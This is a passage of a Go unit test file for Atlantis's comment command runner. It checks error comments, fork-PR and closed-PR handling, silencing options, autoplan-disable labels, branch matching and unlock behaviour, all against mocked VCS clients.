mocks.NewMockPreWorkflowHooksCommandRunner()\n\n\tWhen(preWorkflowHooksCommandRunner.RunPreHooks(Any[*command.Context](), Any[*events.CommentCommand]())).ThenReturn(nil)\n\n\tpostWorkflowHooksCommandRunner = mocks.NewMockPostWorkflowHooksCommandRunner()\n\n\tWhen(postWorkflowHooksCommandRunner.RunPostHooks(Any[*command.Context](), Any[*events.CommentCommand]())).ThenReturn(nil)\n\n\tglobalCfg := valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{})\n\tscope := metricstest.NewLoggingScope(t, logger, \"atlantis\")\n\n\tch = events.DefaultCommandRunner{\n\t\tVCSClient:                      vcsClient,\n\t\tCommentCommandRunnerByCmd:      commentCommandRunnerByCmd,\n\t\tEventParser:                    eventParsing,\n\t\tFailOnPreWorkflowHookError:     false,\n\t\tGithubPullGetter:               githubGetter,\n\t\tGitlabMergeRequestGetter:       gitlabGetter,\n\t\tAzureDevopsPullGetter:          azuredevopsGetter,\n\t\tLogger:                         logger,\n\t\tStatsScope:                     scope,\n\t\tGlobalCfg:                      globalCfg,\n\t\tAllowForkPRs:                   false,\n\t\tAllowForkPRsFlag:               \"allow-fork-prs-flag\",\n\t\tDrainer:                        drainer,\n\t\tPreWorkflowHooksCommandRunner:  preWorkflowHooksCommandRunner,\n\t\tPostWorkflowHooksCommandRunner: postWorkflowHooksCommandRunner,\n\t\tPullStatusFetcher:              testConfig.database,\n\t\tCommitStatusUpdater:            commitUpdater,\n\t}\n\n\treturn vcsClient\n}\n\nfunc TestRunCommentCommand_LogPanics(t *testing.T) {\n\tt.Log(\"if there is a panic it is commented back on the pull request\")\n\tvcsClient := setup(t)\n\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenPanic(\n\t\t\"panic test - if you're seeing this in a test failure this isn't the failing test\")\n\tch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, 1, &events.CommentCommand{Name: command.Plan})\n\t_, _, _, comment, _ := vcsClient.VerifyWasCalledOnce().CreateComment(\n\t\tAny[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()).GetCapturedArguments()\n\tAssert(t, strings.Contains(comment, \"Error: goroutine panic\"), fmt.Sprintf(\"comment should be about a goroutine panic but was %q\", comment))\n}\n\nfunc TestRunCommentCommand_GithubPullErr(t *testing.T) {\n\tt.Log(\"if getting the github pull request fails an error should be logged\")\n\tvcsClient := setup(t)\n\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(nil, errors.New(\"err\"))\n\tch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan})\n\tvcsClient.VerifyWasCalledOnce().CreateComment(\n\t\tAny[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num), Eq(\"`Error: making pull request API call to GitHub: err`\"), Eq(\"\"))\n}\n\nfunc TestRunCommentCommand_GitlabMergeRequestErr(t *testing.T) {\n\tt.Log(\"if getting the gitlab merge request fails an error should be logged\")\n\tvcsClient := setup(t)\n\tWhen(gitlabGetter.GetMergeRequest(Any[logging.SimpleLogging](), Eq(testdata.GitlabRepo.FullName), Eq(testdata.Pull.Num))).ThenReturn(nil, errors.New(\"err\"))\n\tch.RunCommentCommand(testdata.GitlabRepo, &testdata.GitlabRepo, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan})\n\tvcsClient.VerifyWasCalledOnce().CreateComment(\n\t\tAny[logging.SimpleLogging](), Eq(testdata.GitlabRepo), Eq(testdata.Pull.Num), Eq(\"`Error: making merge request API call to GitLab: err`\"), Eq(\"\"))\n}\n\nfunc TestRunCommentCommand_GithubPullParseErr(t *testing.T) {\n\tt.Log(\"if parsing the returned github pull request fails an error should be logged\")\n\tvcsClient := setup(t)\n\tvar pull github.PullRequest\n\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil)\n\tWhen(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(testdata.Pull, testdata.GithubRepo, testdata.GitlabRepo, errors.New(\"err\"))\n\n\tch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan})\n\tvcsClient.VerifyWasCalledOnce().CreateComment(\n\t\tAny[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num), Eq(\"`Error: extracting required fields from comment data: err`\"), Eq(\"\"))\n}\n\nfunc TestRunCommentCommand_CommentPreWorkflowHookFailure(t *testing.T) {\n\tt.Log(\"if there is a pre-workflowhook failure with failure enabled it is commented back on the pull request\")\n\tvcsClient := setup(t)\n\tch.FailOnPreWorkflowHookError = true\n\n\tWhen(preWorkflowHooksCommandRunner.RunPreHooks(Any[*command.Context](), Any[*events.CommentCommand]())).ThenReturn(errors.New(\"err\"))\n\n\tch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, 1, &events.CommentCommand{Name: command.Plan})\n\t_, _, _, comment, _ := vcsClient.VerifyWasCalledOnce().CreateComment(\n\t\tAny[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()).GetCapturedArguments()\n\n\tAssert(t, strings.Contains(comment, \"Error: Pre-workflow hook failed\"), fmt.Sprintf(\"comment should be about a pre-workflow hook failure but was %q\", comment))\n}\n\nfunc TestRunCommentCommand_TeamAllowListChecker(t *testing.T) {\n\tt.Run(\"nil checker\", func(t *testing.T) {\n\t\tvcsClient := setup(t)\n\t\t// by default these are false so don't need to reset\n\t\tch.TeamAllowlistChecker = nil\n\t\tvar pull github.PullRequest\n\t\tmodelPull := models.PullRequest{\n\t\t\tBaseRepo: testdata.GithubRepo,\n\t\t\tState:    models.OpenPullState,\n\t\t}\n\t\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil)\n\t\tWhen(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil)\n\n\t\tch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan})\n\t\tvcsClient.VerifyWasCalled(Never()).GetTeamNamesForUser(ch.Logger, testdata.GithubRepo, testdata.User)\n\t\tvcsClient.VerifyWasCalledOnce().CreateComment(\n\t\t\tAny[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull.Num), Eq(\"Ran Plan for 0 projects:\"), Eq(\"plan\"))\n\t})\n\n\tt.Run(\"no rules\", func(t *testing.T) {\n\t\tvcsClient := setup(t)\n\t\t// by default these are false so don't need to reset\n\t\tch.TeamAllowlistChecker = &command.DefaultTeamAllowlistChecker{}\n\t\tvar pull github.PullRequest\n\t\tmodelPull := models.PullRequest{\n\t\t\tBaseRepo: testdata.GithubRepo,\n\t\t\tState:    models.OpenPullState,\n\t\t}\n\t\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil)\n\t\tWhen(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil)\n\n\t\tch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan})\n\t\tvcsClient.VerifyWasCalled(Never()).GetTeamNamesForUser(ch.Logger, testdata.GithubRepo, testdata.User)\n\t\tvcsClient.VerifyWasCalledOnce().CreateComment(\n\t\t\tAny[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull.Num), Eq(\"Ran Plan for 0 projects:\"), Eq(\"plan\"))\n\t})\n}\n\nfunc TestRunCommentCommand_ForkPRDisabled(t *testing.T) {\n\tt.Log(\"if a command is run on a forked pull request and this is disabled atlantis should\" +\n\t\t\" comment saying that this is not allowed\")\n\tvcsClient := setup(t)\n\t// by default these are false so don't need to reset\n\tch.AllowForkPRs = false\n\tch.SilenceForkPRErrors = false\n\tvar pull github.PullRequest\n\tmodelPull := models.PullRequest{\n\t\tBaseRepo: testdata.GithubRepo,\n\t\tState:    models.OpenPullState,\n\t}\n\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil)\n\n\theadRepo := testdata.GithubRepo\n\theadRepo.FullName = \"forkrepo/atlantis\"\n\theadRepo.Owner = \"forkrepo\"\n\tWhen(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, headRepo, nil)\n\n\tch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan})\n\tcommentMessage := fmt.Sprintf(\"Atlantis commands can't be run on fork pull requests. To enable, set --%s  or, to disable this message, set --%s\", ch.AllowForkPRsFlag, ch.SilenceForkPRErrorsFlag)\n\tvcsClient.VerifyWasCalledOnce().CreateComment(\n\t\tAny[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull.Num), Eq(commentMessage), Eq(\"\"))\n}\n\nfunc TestRunCommentCommand_ForkPRDisabled_SilenceEnabled(t *testing.T) {\n\tt.Log(\"if a command is run on a forked pull request and forks are disabled and we are silencing errors do not comment with error\")\n\tvcsClient := setup(t)\n\tch.AllowForkPRs = false // by default it's false so don't need to reset\n\tch.SilenceForkPRErrors = true\n\tvar pull github.PullRequest\n\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState}\n\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil)\n\n\theadRepo := testdata.GithubRepo\n\theadRepo.FullName = \"forkrepo/atlantis\"\n\theadRepo.Owner = \"forkrepo\"\n\tWhen(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, headRepo, nil)\n\n\tch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan})\n\tvcsClient.VerifyWasCalled(Never()).CreateComment(\n\t\tAny[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]())\n}\n\nfunc TestRunCommentCommandPlan_NoProjects_SilenceEnabled(t *testing.T) {\n\tt.Log(\"if a plan command is run on a pull request and SilenceNoProjects is enabled and we are silencing all comments if the modified files don't have a matching project\")\n\tvcsClient := setup(t)\n\tplanCommandRunner.SilenceNoProjects = true\n\tvar pull github.PullRequest\n\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState}\n\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil)\n\tWhen(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil)\n\n\tch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan})\n\tvcsClient.VerifyWasCalled(Never()).CreateComment(\n\t\tAny[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]())\n\tcommitUpdater.VerifyWasCalledOnce().UpdateCombinedCount(\n\t\tAny[logging.SimpleLogging](),\n\t\tAny[models.Repo](),\n\t\tAny[models.PullRequest](),\n\t\tEq[models.CommitStatus](models.SuccessCommitStatus),\n\t\tEq[command.Name](command.Plan),\n\t\tEq(0),\n\t\tEq(0),\n\t)\n}\n\nfunc TestRunCommentCommandPlan_NoProjectsTarget_SilenceEnabled(t *testing.T) {\n\t// TODO\n\tt.Log(\"if a plan command is run against a project and SilenceNoProjects is enabled, we are silencing all comments if the project is not in the repo config\")\n\tvcsClient := setup(t)\n\tplanCommandRunner.SilenceNoProjects = true\n\tvar pull github.PullRequest\n\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState}\n\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil)\n\tWhen(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil)\n\n\tch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan, ProjectName: \"meow\"})\n\tvcsClient.VerifyWasCalled(Never()).CreateComment(\n\t\tAny[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]())\n\tcommitUpdater.VerifyWasCalledOnce().UpdateCombinedCount(\n\t\tAny[logging.SimpleLogging](),\n\t\tAny[models.Repo](),\n\t\tAny[models.PullRequest](),\n\t\tEq[models.CommitStatus](models.SuccessCommitStatus),\n\t\tEq[command.Name](command.Plan),\n\t\tEq(0),\n\t\tEq(0),\n\t)\n}\n\nfunc TestRunCommentCommandApply_NoProjects_SilenceEnabled(t *testing.T) {\n\tt.Log(\"if an apply command is run on a pull request and SilenceNoProjects is enabled and we are silencing all comments if the modified files don't have a matching project\")\n\tvcsClient := setup(t)\n\tapplyCommandRunner.SilenceNoProjects = true\n\tvar pull github.PullRequest\n\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState}\n\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil)\n\tWhen(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil)\n\n\tch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Apply})\n\tvcsClient.VerifyWasCalled(Never()).CreateComment(\n\t\tAny[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]())\n\tcommitUpdater.VerifyWasCalledOnce().UpdateCombined(\n\t\tAny[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Eq(models.PendingCommitStatus), Eq(command.Apply))\n}\n\nfunc TestRunCommentCommandApprovePolicy_NoProjects_SilenceEnabled(t *testing.T) {\n\tt.Log(\"if an approve_policy command is run on a pull request and SilenceNoProjects is enabled and we are silencing all comments if the modified files don't have a matching project\")\n\tvcsClient := setup(t)\n\tapprovePoliciesCommandRunner.SilenceNoProjects = true\n\tvar pull github.PullRequest\n\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState}\n\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil)\n\tWhen(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil)\n\n\tch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.ApprovePolicies})\n\tvcsClient.VerifyWasCalled(Never()).CreateComment(\n\t\tAny[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]())\n}\n\nfunc TestRunCommentCommandUnlock_NoProjects_SilenceEnabled(t *testing.T) {\n\tt.Log(\"if an unlock command is run on a pull request and SilenceNoProjects is enabled and we are silencing all comments if the modified files don't have a matching project\")\n\tvcsClient := setup(t)\n\tunlockCommandRunner.SilenceNoProjects = true\n\tvar pull github.PullRequest\n\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState}\n\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil)\n\tWhen(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil)\n\n\tch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Unlock})\n\tvcsClient.VerifyWasCalled(Never()).CreateComment(Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]())\n\tcommitUpdater.VerifyWasCalled(Never()).UpdateCombined(\n\t\tAny[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Eq(models.PendingCommitStatus), Any[command.Name]())\n}\n\nfunc TestRunCommentCommandImport_NoProjects_SilenceEnabled(t *testing.T) {\n\tt.Log(\"if an import command is run on a pull request and SilenceNoProjects is enabled, we are silencing all comments if the modified files don't have a matching project\")\n\tvcsClient := setup(t)\n\timportCommandRunner.SilenceNoProjects = true\n\tvar pull github.PullRequest\n\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState}\n\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil)\n\tWhen(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil)\n\n\tch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Import})\n\tvcsClient.VerifyWasCalled(Never()).CreateComment(Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]())\n}\n\nfunc TestRunCommentCommand_DisableApplyAllDisabled(t *testing.T) {\n\tt.Log(\"if \\\"atlantis apply\\\" is run and this is disabled atlantis should\" +\n\t\t\" comment saying that this is not allowed\")\n\tvcsClient := setup(t)\n\tapplyCommandRunner.DisableApplyAll = true\n\tpull := &github.PullRequest{\n\t\tState: github.Ptr(\"open\"),\n\t}\n\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num}\n\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil)\n\tWhen(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil)\n\n\tch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, modelPull.Num, &events.CommentCommand{Name: command.Apply})\n\tvcsClient.VerifyWasCalledOnce().CreateComment(\n\t\tAny[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull.Num),\n\t\tEq(\"**Error:** Running `atlantis apply` without flags is disabled. You must specify which project to apply via the `-d <dir>`, `-w <workspace>` or `-p <project name>` flags.\"), Eq(\"apply\"))\n}\n\nfunc TestRunCommentCommand_DisableAutoplan(t *testing.T) {\n\tt.Log(\"if \\\"DisableAutoplan\\\" is true, auto plans are disabled and we are silencing return and do not comment with error\")\n\tsetup(t)\n\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, BaseBranch: \"main\"}\n\n\tch.DisableAutoplan = true\n\tdefer func() { ch.DisableAutoplan = false }()\n\n\tWhen(projectCommandBuilder.BuildAutoplanCommands(Any[*command.Context]())).\n\t\tThenReturn([]command.ProjectContext{\n\t\t\t{\n\t\t\t\tCommandName: command.Plan,\n\t\t\t},\n\t\t\t{\n\t\t\t\tCommandName: command.Plan,\n\t\t\t},\n\t\t}, nil)\n\tWhen(commitUpdater.UpdateCombinedCount(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[models.CommitStatus](), Any[command.Name](), Any[int](), Any[int]())).ThenReturn(nil)\n\tch.RunAutoplanCommand(testdata.GithubRepo, testdata.GithubRepo, modelPull, testdata.User)\n\tprojectCommandBuilder.VerifyWasCalled(Never()).BuildAutoplanCommands(Any[*command.Context]())\n}\n\nfunc TestRunCommentCommand_DisableAutoplanLabel(t *testing.T) {\n\tt.Log(\"if \\\"DisableAutoplanLabel\\\" is present and pull request has that label, auto plans are disabled and we are silencing return and do not comment with error\")\n\tvcsClient := setup(t)\n\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, BaseBranch: \"main\"}\n\n\tch.DisableAutoplanLabel = \"disable-auto-plan\"\n\tdefer func() { ch.DisableAutoplanLabel = \"\" }()\n\n\tWhen(projectCommandBuilder.BuildAutoplanCommands(Any[*command.Context]())).\n\t\tThenReturn([]command.ProjectContext{\n\t\t\t{\n\t\t\t\tCommandName: command.Plan,\n\t\t\t},\n\t\t\t{\n\t\t\t\tCommandName: command.Plan,\n\t\t\t},\n\t\t}, nil)\n\tWhen(ch.VCSClient.GetPullLabels(\n\t\tAny[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull))).ThenReturn([]string{\"disable-auto-plan\", \"need-help\"}, nil)\n\n\tch.RunAutoplanCommand(testdata.GithubRepo, testdata.GithubRepo, modelPull, testdata.User)\n\tprojectCommandBuilder.VerifyWasCalled(Never()).BuildAutoplanCommands(Any[*command.Context]())\n\tvcsClient.VerifyWasCalledOnce().GetPullLabels(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull))\n}\n\nfunc TestRunCommentCommand_DisableAutoplanLabel_PullNotLabeled(t *testing.T) {\n\tt.Log(\"if \\\"DisableAutoplanLabel\\\" is present but pull request doesn't have that label, auto plans run\")\n\tvcsClient := setup(t)\n\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, BaseBranch: \"main\"}\n\n\tch.DisableAutoplanLabel = \"disable-auto-plan\"\n\tdefer func() { ch.DisableAutoplanLabel = \"\" }()\n\n\tWhen(projectCommandBuilder.BuildAutoplanCommands(Any[*command.Context]())).\n\t\tThenReturn([]command.ProjectContext{\n\t\t\t{\n\t\t\t\tCommandName: command.Plan,\n\t\t\t},\n\t\t\t{\n\t\t\t\tCommandName: command.Plan,\n\t\t\t},\n\t\t}, nil)\n\tWhen(ch.VCSClient.GetPullLabels(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull))).ThenReturn(nil, nil)\n\n\tch.RunAutoplanCommand(testdata.GithubRepo, testdata.GithubRepo, modelPull, testdata.User)\n\tprojectCommandBuilder.VerifyWasCalled(Once()).BuildAutoplanCommands(Any[*command.Context]())\n\tvcsClient.VerifyWasCalledOnce().GetPullLabels(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull))\n}\n\nfunc TestRunCommentCommand_ClosedPull(t *testing.T) {\n\tt.Log(\"if a command is run on a closed pull request atlantis should\" +\n\t\t\" comment saying that this is not allowed\")\n\tvcsClient := setup(t)\n\tpull := &github.PullRequest{\n\t\tState: github.Ptr(\"closed\"),\n\t}\n\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.ClosedPullState, Num: testdata.Pull.Num}\n\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil)\n\tWhen(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil)\n\n\tch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan})\n\tvcsClient.VerifyWasCalledOnce().CreateComment(\n\t\tAny[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull.Num), Eq(\"Atlantis commands can't be run on closed pull requests\"), Eq(\"\"))\n}\n\nfunc TestRunCommentCommand_MatchedBranch(t *testing.T) {\n\tt.Log(\"if a command is run on a pull request which matches base branches run plan successfully\")\n\tvcsClient := setup(t)\n\n\tch.GlobalCfg.Repos = append(ch.GlobalCfg.Repos, valid.Repo{\n\t\tIDRegex:     regexp.MustCompile(\".*\"),\n\t\tBranchRegex: regexp.MustCompile(\"^main$\"),\n\t})\n\tvar pull github.PullRequest\n\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, BaseBranch: \"main\"}\n\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil)\n\tWhen(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil)\n\n\tch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan})\n\tvcsClient.VerifyWasCalledOnce().CreateComment(\n\t\tAny[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull.Num), Eq(\"Ran Plan for 0 projects:\"), Eq(\"plan\"))\n}\n\nfunc TestRunCommentCommand_UnmatchedBranch(t *testing.T) {\n\tt.Log(\"if a command is run on a pull request which doesn't match base branches do not comment with error\")\n\tvcsClient := setup(t)\n\n\tch.GlobalCfg.Repos = append(ch.GlobalCfg.Repos, valid.Repo{\n\t\tIDRegex:     regexp.MustCompile(\".*\"),\n\t\tBranchRegex: regexp.MustCompile(\"^main$\"),\n\t})\n\tvar pull github.PullRequest\n\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, BaseBranch: \"foo\"}\n\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil)\n\tWhen(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil)\n\n\tch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan})\n\tvcsClient.VerifyWasCalled(Never()).CreateComment(Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]())\n}\n\nfunc TestRunUnlockCommand_VCSComment(t *testing.T) {\n\ttestCases := []struct {\n\t\tname    string\n\t\tprState *string\n\t}{\n\t\t{\n\t\t\tname:    \"PR open\",\n\t\t\tprState: github.Ptr(\"open\"),\n\t\t},\n\n\t\t{\n\t\t\tname:    \"PR closed\",\n\t\t\tprState: github.Ptr(\"closed\"),\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tt.Logf(\"if an unlock command is run on a pull request in state %s, atlantis should\"+\n\t\t\t\t\" invoke the delete command and comment on PR accordingly\", *tc.prState)\n\n\t\t\tvcsClient := setup(t)\n\t\t\tpull := &github.PullRequest{\n\t\t\t\tState: tc.prState,\n\t\t\t}\n\t\t\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num}\n\t\t\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo),\n\t\t\t\tEq(testdata.Pull.Num))).ThenReturn(pull, nil)\n\t\t\tWhen(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo,\n\t\t\t\ttestdata.GithubRepo, nil)\n\n\t\t\tch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num,\n\t\t\t\t&events.CommentCommand{Name: command.Unlock})\n\n\t\t\tdeleteLockCommand.VerifyWasCalledOnce().DeleteLocksByPull(Any[logging.SimpleLogging](),\n\t\t\t\tEq(testdata.GithubRepo.FullName), Eq(testdata.Pull.Num))\n\t\t\tvcsClient.VerifyWasCalledOnce().CreateComment(\n\t\t\t\tAny[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num),\n\t\t\t\tEq(\"All Atlantis locks for this PR have been unlocked and plans discarded\"), Eq(\"unlock\"))\n\t\t})\n\t}\n}\n\nfunc TestRunUnlockCommandFail_VCSComment(t *testing.T) {\n\tt.Log(\"if unlock PR command is run and delete fails, atlantis should\" +\n\t\t\" invoke comment on PR with error message\")\n\n\tvcsClient := setup(t)\n\tpull := &github.PullRequest{\n\t\tState: github.Ptr(\"open\"),\n\t}\n\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num}\n\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo),\n\t\tEq(testdata.Pull.Num))).ThenReturn(pull, nil)\n\tWhen(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo,\n\t\ttestdata.GithubRepo, nil)\n\tWhen(deleteLockCommand.DeleteLocksByPull(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo.FullName),\n\t\tEq(testdata.Pull.Num))).ThenReturn(0, errors.New(\"err\"))\n\n\tch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num,\n\t\t&events.CommentCommand{Name: 